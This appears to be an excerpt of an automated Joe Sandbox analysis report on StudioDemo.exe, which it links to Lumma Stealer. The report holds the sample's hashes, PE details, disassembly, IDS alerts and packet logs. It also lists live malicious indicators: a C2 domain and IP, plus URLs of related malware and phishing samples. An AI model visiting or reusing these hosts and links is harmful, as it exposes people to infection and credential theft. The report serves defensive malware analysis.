https://ac.ecosia.org/autocomplete?q=	BitLockerToGo.exe, 00000001.00000003.1923166260.0000000004E19000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1923083650.0000000004E1B000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1923307585.0000000004E19000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://armretire.sbs/7	BitLockerToGo.exe, 00000001.00000003.1979642936.000000000299D000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000002.2028015180.00000000029A3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1991122518.00000000029A1000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1990960229.000000000299D000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.2011525624.00000000029A1000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.2011427431.00000000029A0000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1991264516.00000000029A3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1962791647.000000000299D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://github.com/aws/jsii.git	StudioDemo.exe, program.js.0.dr	false		unknown
https://armretire.sbs/6	BitLockerToGo.exe, 00000001.00000002.2028015180.00000000029A3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.2011525624.00000000029A1000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.2011427431.00000000029A0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.microsof	BitLockerToGo.exe, 00000001.00000003.1922557422.0000000004E30000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://crt.rootca1.amazontrust.com/rootca1.cer0?	BitLockerToGo.exe, 00000001.00000003.1948472849.0000000004E01000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/aws/jsii/issues	StudioDemo.exe, program.js.0.dr	false		unknown
https://armretire.sbs/G	BitLockerToGo.exe, 00000001.00000002.2028015180.00000000029A3000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.2011525624.00000000029A1000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.2011427431.00000000029A0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	BitLockerToGo.exe, 00000001.00000003.1922722393.0000000004E02000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	BitLockerToGo.exe, 00000001.00000003.1923166260.0000000004E19000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1923083650.0000000004E1B000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1923307585.0000000004E19000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
188.114.96.3	armretire.sbs	European Union		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1541178
Start date and time:	2024-10-24 14:50:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 40s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	StudioDemo.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/4@1/1
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 96% Number of executed functions: 36 Number of non-executed functions: 89
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target StudioDemo.exe, PID 6740 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: StudioDemo.exe

Simulations

Behavior and APIs

Time	Type	Description
08:51:22	API Interceptor	8x Sleep call for process: BitLockerToGo.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
188.114.96.3	Orden de Compra No. 78986756565344657.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	paste.ee/d/nwtkd
	Doc 784-01965670.exe	Get hash	malicious	FormBook	Browse	www.launchdreamidea.xyz/bd77/
	PO1268931024 - Bank Slip.exe	Get hash	malicious	PureLog Stealer	Browse	www.timizoasisey.shop/3p0l/
	BL.exe	Get hash	malicious	FormBook	Browse	www.launchdreamidea.xyz/bd77/
	w49A5FG3yg.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	733812cm.n9shteam.in/DefaultWordpress.php
	9XHFe6y4Dj.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	733812cm.n9shteam.in/DefaultWordpress.php
	SecuriteInfo.com.Win32.MalwareX-gen.14607.6011.exe	Get hash	malicious	Unknown	Browse	servicetelemetryserver.shop/api/index.php
	t1zTzS9a3r.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	abdulbek.top/externalvideoprotectdefaultsqlWindowsdlePrivate.php
	aQdB62N7SB.elf	Get hash	malicious	Shikitega, Xmrig	Browse	main.dsn.ovh/dns/lovely
	QUOTATION_OCTQTRA071244PDF.scr.exe	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/DyuQ5y15/download

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	5Setup.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	setup.msi	Get hash	malicious	Unknown	Browse	172.64.41.3
	https://1drv.ms/o/c/3e563d3fb2a98d1c/Emlo5KUbYYNEvKtIF-7SS0EBYSeT3hOOGuv_MbeT-n2y4g?e=HPjqUn	Get hash	malicious	HtmlDropper	Browse	104.21.45.155
	https://railrent-railrent.powerappsportals.com/	Get hash	malicious	Unknown	Browse	172.67.140.116
	https://2007.filemail.com/api/file/get?filekey=58mKUrTMdlmzqkRvo0UdVa2TMjJTCQiSNv5rUBtsDQTNU0dM4JzppUJaOrP_mWxCym0k9l5xEDeaXunPsHq6frY8XZH_gnclw86MefA3bpAlGuDkr77-xSqrMOQIlMdW5cRjwoOSCWIlTwpC48cNKMMHhMKp&track=P8fpm4ry&pk_vid=8a8b18f03738ae4f17297703684d559d	Get hash	malicious	HTMLPhisher	Browse	104.17.112.233
	attachment(1).eml	Get hash	malicious	Unknown	Browse	104.22.54.104
	PO%20K22012FA[1].docx	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://email.email.pandadoc.net/c/eJxUkE9r4zwQxj-NdUuQR5ItHXQobfwG3rLQsmHbXspIGjeqE8m1FYfm0y-B7f65DcP8ht_zBOsa4XrNQvanI6XyGoPN-f7_7ilGN8iYdk8Pn-dxt_vOyNYtmMZwDpztLRpXK45GaGy9C943vK2NJgTDG-WQRQscZM1B1AJaztfS904pGYLuOTQtVZLTEeNhPWIKGLJfJyoszq9lQk_oDmTLdCJ2sPtSxrkSNxV0FXQ4jn8Qn48VdF_6FXQLVKIreaBUiTvSzgiJNQeJqLDhSoJpBAanJYFWrZO1kb6uRMdSLrGPHkvM6VqDaxuBBtpVCyBWEkW9wkbTCsko1-galQ4sT2-Y4uU39N85y5jEfDMn83C50P6beDlv2WTDe040V5K702Ggj9NhvKqziZY4_2J_iM3H6W67XV7Uop9j2dyq0D-yYr_S_TWuCk5v9M9mvl4sFtg5T8M8oqfrU_W4od1nvwdHIdy798HfDs_6ZwAAAP__1K2kLg	Get hash	malicious	Unknown	Browse	104.18.86.42
	Halkbank_Ekstre_20241022_081224_563756.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	188.114.96.3
	REVISED INVOICE.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.96.3

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	5Setup.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	PO%20K22012FA[1].docx	Get hash	malicious	Unknown	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	https://is.gd/6NgVrQ	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	188.114.96.3
	g4Cyr2T5jq.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse	188.114.96.3

Dropped Files

⊘No context

Created / dropped Files

C:\Users\user\AppData\Local\Temp\jsii-runtime.1178202491\bin\jsii-runtime.js

Download File

Process:	C:\Users\user\Desktop\StudioDemo.exe
File Type:	C++ source, ASCII text, with very long lines (324), with escape sequences
Category:	dropped
Size (bytes):	138639
Entropy (8bit):	4.286369825068587
Encrypted:	false
SSDEEP:	1536:ZMjsdRCCXpnzopj7/5dLopnQPporDa6meL4xmJ:fenLo9QP+lmeL4IJ
MD5:	A7C8367F8B900617374F5D3FAC86DFD7
SHA1:	6BDEAB34FA632083B2578708EB0C50443ED5E9A9
SHA-256:	E4F82DB7579D84B2DDB49B16A8CBD8256D86751473D1A86B4B31D1E3963BA0FA
SHA-512:	2C2E9D5445F4BDFBCA7F35881E9D133373145B40D26ECB9B122E60DD343B580FA3BC70C8B981B4AE7E3D9B8C4EA90C6A77F7328A60CBE0F2515EE364AD0CB0A3
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	var __webpack_modules__ = {. 821: (module, __unused_webpack_exports, __webpack_require__) => {. "use strict";. module = __webpack_require__.nmd(module);. const wrapAnsi16 = (fn, offset) => (...args) => {. const code = fn(...args);. return `.[${code + offset}m`;. };. const wrapAnsi256 = (fn, offset) => (...args) => {. const code = fn(...args);. return `.[${38 + offset};5;${code}m`;. };. const wrapAnsi16m = (fn, offset) => (...args) => {. const rgb = fn(...args);. return `.[${38 + offset};2;${rgb[0]};${rgb[1]};${rgb[2]}m`;. };. const ansi2ansi = n => n;. const rgb2rgb = (r, g, b) => [ r, g, b ];. const setLazyProperty = (object, property, get) => {. Object.defineProperty(object, property, {. get: () => {. const value = get();. Object.defineProperty(object, property, {.

C:\Users\user\AppData\Local\Temp\jsii-runtime.1178202491\bin\jsii-runtime.js.map

Download File

Process:	C:\Users\user\Desktop\StudioDemo.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	218125
Entropy (8bit):	5.457704584855637
Encrypted:	false
SSDEEP:	3072:zKHyW445CPl85X3GJXlAnFhvMvOqGPUqdShdY5S8DoDT1JyBwJbMaky9nwe+L/Iq:LWY4KTvqd8dYQ8uJcwSy9nQ
MD5:	0FEFBA04D8BBEDD2CFF7EB75C3834847
SHA1:	054D11200D77C1B5DFB3B98A33973623619D34BE
SHA-256:	DBBDB23093B0732EE1504F79D3835B1C6B2E3F526AB42A6DA381E6CEC2648AE5
SHA-512:	3CEAA01275E2DEC044BA5F8D41092EB4F28E62CDAD24A71C8F7F57E4C48B709568C8C376BF2B048DC989810FB8EB91F2D944379804D5D85480A26663FC3F90FE
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	{"version":3,"file":"bin/jsii-runtime.js","mappings":";;;;QAEA,MAAMA,aAAa,CAACC,IAAIC,WAAW,IAAIC;YACtC,MAAMC,OAAOH,MAAME;YACnB,OAAO,KAAUC,OAAOF;AAAS;QAGlC,MAAMG,cAAc,CAACJ,IAAIC,WAAW,IAAIC;YACvC,MAAMC,OAAOH,MAAME;YACnB,OAAO,KAAU,KAAKD,YAAYE;AAAO;QAG1C,MAAME,cAAc,CAACL,IAAIC,WAAW,IAAIC;YACvC,MAAMI,MAAMN,MAAME;YAClB,OAAO,KAAU,KAAKD,YAAYK,IAAI,MAAMA,IAAI,MAAMA,IAAI;AAAK;QAGhE,MAAMC,YAAYC,KAAKA;QACvB,MAAMC,UAAU,CAACC,GAAGC,GAAGC,MAAM,EAACF,GAAGC,GAAGC;QAEpC,MAAMC,kBAAkB,CAACC,QAAQC,UAAUC;YAC1CC,OAAOC,eAAeJ,QAAQC,UAAU;gBACvCC,KAAK;oBACJ,MAAMG,QAAQH;oBAEdC,OAAOC,eAAeJ,QAAQC,UAAU;wBACvCI;wBACAC,YAAY;wBACZC,cAAc;;oBAGf,OAAOF;AAAK;gBAEbC,YAAY;gBACZC,cAAc;;AACb;QAIH,IAAIC;QACJ,MAAMC,oBAAoB,CAACC,MAAMC,aAAaC,UAAUC;YACvD,IAAIL,iBAAiBM,WAAW;gBAC/BN,eAAe,oBAAQ;AACxB;YAEA,MAAMrB,SAAS0B,eAAe,KAAK;YACnC,MAAME,SAAS,CAAC;YAEhB,KAAK,OAAOC,aAAaC,UAAUd,OAAOe,QAAQV,eAAe;gBAChE,MAAMW,OAAOH,gBAAgB,WAAW,SAASA;gBACjD,IAAIA,gBAAgBL,aAAa;oBAChCI,OAAOI,QAAQT,KAAKE,UAAUzB;AAC/B,uBAAO,WAAW8B,UAAU,UAAU;oBACrCF,OAAOI,Q

C:\Users\user\AppData\Local\Temp\jsii-runtime.1178202491\lib\program.js

Download File

Process:	C:\Users\user\Desktop\StudioDemo.exe
File Type:	ASCII text, with very long lines (489)
Category:	dropped
Size (bytes):	802466
Entropy (8bit):	4.298722687837962
Encrypted:	false
SSDEEP:	6144:Z6TjefxOXTNwk8mCkCbCp4wrZaWvZEIhU4FFEY+cbCtNYbIgoxrV2z1J:Z6TjefxOXTNUkCbCp42aW4NwL
MD5:	4C6E1287B2F6060C1E0F386B0B47959A
SHA1:	0FA0C721B6848D78C73FCF74BB37891A17FF0999
SHA-256:	C8DB5A41C7EC02EB2F1F20A6CD544DB215246AD9D566EA9494D63521B9B1E271
SHA-512:	0FF6A037A413BE93DCB3C1B4C26CB9938025F34D9AA20818FBDED5B4B00BC89DCBA9EB58756BAFBA852CA972C058BDDB087E9CB58C9B442AC936C93590E14C13
Malicious:	false
Reputation:	low
Preview:	var __webpack_modules__ = {. 1165: (module, __unused_webpack_exports, __webpack_require__) => {. "use strict";. const fs = __webpack_require__(9896);. const path = __webpack_require__(6928);. const LCHOWN = fs.lchown ? "lchown" : "chown";. const LCHOWNSYNC = fs.lchownSync ? "lchownSync" : "chownSync";. const needEISDIRHandled = fs.lchown && !process.version.match(/v1[1-9]+\./) && !process.version.match(/v10\.[6-9]/);. const lchownSync = (path, uid, gid) => {. try {. return fs[LCHOWNSYNC](path, uid, gid);. } catch (er) {. if (er.code !== "ENOENT") throw er;. }. };. const chownSync = (path, uid, gid) => {. try {. return fs.chownSync(path, uid, gid);. } catch (er) {. if (er.code !== "ENOENT") throw er;. }. };. const handleEISDIR = needEISDIRHandled ? (path, uid, gid, cb) => er => {.

C:\Users\user\AppData\Local\Temp\jsii-runtime.1178202491\lib\program.js.map

Download File

Process:	C:\Users\user\Desktop\StudioDemo.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1155588
Entropy (8bit):	5.4159552687244155
Encrypted:	false
SSDEEP:	12288:D2DUMiOfGYFO/1pf0ThVUhI2PoEMuCfzT/2ZoEC74RiCfulDlJ:MZFO/1pf9hI2EjT/2ZoEC74RiCfulDlJ
MD5:	BE06DF1EE810220598CAE6D42AE2FD77
SHA1:	5DD0B0F101FDE69B49E37947380431D75D26125C
SHA-256:	09E18C6FA27068005DA8BCBB802C70B1C182866274478C684A4AB652ACAF2BBD
SHA-512:	BF40F52E37DFDBEE4AC4F562A28520893D3C8C13FDDB7A94E94458B1E8591162EADF3A4BE401A2FF6C2CE2449721F3F036C2B41571BB3C491E7F648595BAA8FA
Malicious:	false
Reputation:	low
Preview:	{"version":3,"file":"lib/program.js","mappings":";;;QACA,MAAMA,KAAK,oBAAQ;QACnB,MAAMC,OAAO,oBAAQ;QAGrB,MAAMC,SAASF,GAAGG,SAAS,WAAW;QAEtC,MAAMC,aAAaJ,GAAGK,aAAa,eAAe;QAGlD,MAAMC,oBAAoBN,GAAGG,WAC1BI,QAAQC,QAAQC,MAAM,kBACtBF,QAAQC,QAAQC,MAAM;QAEzB,MAAMJ,aAAa,CAACJ,MAAMS,KAAKC;YAC7B;gBACE,OAAOX,GAAGI,YAAYH,MAAMS,KAAKC;AACnC,cAAE,OAAOC;gBACP,IAAIA,GAAGC,SAAS,UACd,MAAMD;AACV;AAAA;QAIF,MAAME,YAAY,CAACb,MAAMS,KAAKC;YAC5B;gBACE,OAAOX,GAAGc,UAAUb,MAAMS,KAAKC;AACjC,cAAE,OAAOC;gBACP,IAAIA,GAAGC,SAAS,UACd,MAAMD;AACV;AAAA;QAIF,MAAMG,eACJT,oBAAoB,CAACL,MAAMS,KAAKC,KAAKK,OAAOJ;YAI1C,KAAKA,MAAMA,GAAGC,SAAS,UACrBG,GAAGJ,UAEHZ,GAAGiB,MAAMhB,MAAMS,KAAKC,KAAKK;AAAE,YAE7B,CAACE,GAAGC,IAAIC,KAAKJ,OAAOA;QAGxB,MAAMK,mBACJf,oBAAoB,CAACL,MAAMS,KAAKC;YAC9B;gBACE,OAAON,WAAWJ,MAAMS,KAAKC;AAC/B,cAAE,OAAOC;gBACP,IAAIA,GAAGC,SAAS,UACd,MAAMD;gBACRE,UAAUb,MAAMS,KAAKC;AACvB;AAAA,YAEA,CAACV,MAAMS,KAAKC,QAAQN,WAAWJ,MAAMS,KAAKC;QAG9C,MAAMW,cAAcf,QAAQC;QAC5B,IAAIe,UAAU,CAACtB,MAAMuB,SAASR,OAAOhB,GAAGuB,QAAQtB,MAAMuB,SAASR;Q

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.036096665517919
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	StudioDemo.exe
File size:	27'028'992 bytes
MD5:	c2572a275e098d91a781656e6895a22e
SHA1:	e62db47eaf2e12f3cf628141f3cfb104650f151d
SHA256:	792a9b5b55a9a6104d397296ca0e259d0f98f7991da7986cdc611e579232ac5a
SHA512:	714e6493dd1b2e73c3e238b72278778c238c0e09ab548cab550f8e60491a50278c2386d18118b92e389e5505bd2a638053e037ad23ba331f2e4ccba5cfba42d6
SSDEEP:	196608:8qxkmM72bIUREV4zLtcMiKSx64dpQRnJBV/LIIE1uoCkTF5L53CU:FtgJdpQRzoCkTFF53b
TLSH:	6747F810EA8BA0F2FE43487114DF312F63345D059B298ACBF68D7A19FB77AA20677505
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........L........................................@.................................Mz....@................................

File Icon


Icon Hash:	2d2e3797b32b2b99

Static PE Info

General

Entrypoint:	0x46eed0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x0 [Thu Jan 1 00:00:00 1970 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	1
File Version Major:	6
File Version Minor:	1
Subsystem Version Major:	6
Subsystem Version Minor:	1
Import Hash:	4f2f006e2ecf7172ad368f8289dc96c1

Entrypoint Preview

Instruction
jmp 00007F276CEE9F90h
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
sub esp, 28h
mov dword ptr [esp+1Ch], ebx
mov dword ptr [esp+10h], ebp
mov dword ptr [esp+14h], esi
mov dword ptr [esp+18h], edi
mov dword ptr [esp], eax
mov dword ptr [esp+04h], ecx
call 00007F276CECF696h
mov eax, dword ptr [esp+08h]
mov edi, dword ptr [esp+18h]
mov esi, dword ptr [esp+14h]
mov ebp, dword ptr [esp+10h]
mov ebx, dword ptr [esp+1Ch]
add esp, 28h
retn 0004h
ret
int3
int3
int3
int3
int3
int3
sub esp, 08h
mov ecx, dword ptr [esp+0Ch]
mov edx, dword ptr [ecx]
mov eax, esp
mov dword ptr [edx+04h], eax
sub eax, 00010000h
mov dword ptr [edx], eax
add eax, 00000BA0h
mov dword ptr [edx+08h], eax
mov dword ptr [edx+0Ch], eax
lea edi, dword ptr [ecx+34h]
mov dword ptr [edx+18h], ecx
mov dword ptr [edi], edx
mov dword ptr [esp+04h], edi
call 00007F276CEEC3C4h
cld
call 00007F276CEEB47Eh
call 00007F276CEEA0B9h
add esp, 08h
ret
mov ebx, dword ptr [esp+04h]
mov dword ptr fs:[00000034h], 00000000h
mov ebp, esp
mov ecx, dword ptr [ebx+04h]
mov eax, ecx
shl eax, 02h
sub esp, eax
mov edi, esp
mov esi, dword ptr [ebx+08h]
cld
rep movsd
call dword ptr [ebx]
mov esp, ebp
mov ebx, dword ptr [esp+04h]
mov dword ptr [ebx+0Ch], eax
mov dword ptr [ebx+10h], edx
mov eax, dword ptr fs:[00000034h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x1966000	0x45e	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x19fa000	0x1f54	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x1967000	0x91d32	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x18ebe40	0xb8	.data
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x93b139	0x93b200	ba6d7276561529c9f71bb1ece55b2761	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x93d000	0xfac35c	0xfac400	382086016945d2f33aa99eec906d6441	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x18ea000	0x7b768	0x4ae00	5da3294dac2b31157edef7ed615aca23	False	0.4364109453255426	data	5.830213900990919	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x1966000	0x45e	0x600	c5b2da0d6cbe34f3d3cb3dec33644522	False	0.3626302083333333	data	4.024800328523657	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x1967000	0x91d32	0x91e00	e729dc3ab66ddf65b235d04e1fd8e239	False	0.5050292550342759	data	6.717545360886359	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.symtab	0x19f9000	0x4	0x200	07b5472d347d42780469fb2654b7fc54	False	0.02734375	data	0.020393135236084953	IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.rsrc	0x19fa000	0x1f54	0x2000	713519344a29cddf1c0b21d6163cb3e6	False	0.3343505859375	data	4.704956080753949	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x19fa1d4	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	United States	0.5675675675675675
RT_ICON	0x19fa2fc	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 320	English	United States	0.4486994219653179
RT_ICON	0x19fa864	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640	English	United States	0.4637096774193548
RT_ICON	0x19fab4c	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1152	English	United States	0.3935018050541516
RT_GROUP_ICON	0x19fb3f4	0x3e	data	English	United States	0.8387096774193549
RT_VERSION	0x19fb434	0x4f4	data	English	United States	0.2902208201892745
RT_MANIFEST	0x19fb928	0x62c	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.4240506329113924

Imports

DLL

Import

kernel32.dll

WriteFile, WriteConsoleW, WerSetFlags, WerGetFlags, WaitForMultipleObjects, WaitForSingleObject, VirtualQuery, VirtualFree, VirtualAlloc, TlsAlloc, SwitchToThread, SuspendThread, SetWaitableTimer, SetUnhandledExceptionFilter, SetProcessPriorityBoost, SetEvent, SetErrorMode, SetConsoleCtrlHandler, ResumeThread, RaiseFailFastException, PostQueuedCompletionStatus, LoadLibraryW, LoadLibraryExW, SetThreadContext, GetThreadContext, GetSystemInfo, GetSystemDirectoryA, GetStdHandle, GetQueuedCompletionStatusEx, GetProcessAffinityMask, GetProcAddress, GetErrorMode, GetEnvironmentStringsW, GetCurrentThreadId, GetConsoleMode, FreeEnvironmentStringsW, ExitProcess, DuplicateHandle, CreateWaitableTimerExW, CreateThread, CreateIoCompletionPort, CreateFileA, CreateEventA, CloseHandle, AddVectoredExceptionHandler

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-24T14:51:23.570477+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49731	188.114.96.3	443	TCP
2024-10-24T14:51:23.570477+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49731	188.114.96.3	443	TCP
2024-10-24T14:51:25.212636+0200	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49735	188.114.96.3	443	TCP
2024-10-24T14:51:25.212636+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49735	188.114.96.3	443	TCP
2024-10-24T14:51:34.795385+0200	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49744	188.114.96.3	443	TCP
2024-10-24T14:51:35.769185+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49745	188.114.96.3	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 24, 2024 14:51:22.323471069 CEST	49731	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:22.323527098 CEST	443	49731	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:22.323594093 CEST	49731	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:22.350166082 CEST	49731	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:22.350198984 CEST	443	49731	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:22.977049112 CEST	443	49731	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:22.977133989 CEST	49731	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:22.989047050 CEST	49731	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:22.989089012 CEST	443	49731	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:22.989428997 CEST	443	49731	188.114.96.3	192.168.2.4
Oct 24, 2024 14:51:23.033340931 CEST	49731	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:23.080705881 CEST	49731	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:23.080739021 CEST	49731	443	192.168.2.4	188.114.96.3
Oct 24, 2024 14:51:23.080863953 CEST	443	49731	188.114.96.3	192.168.2.4
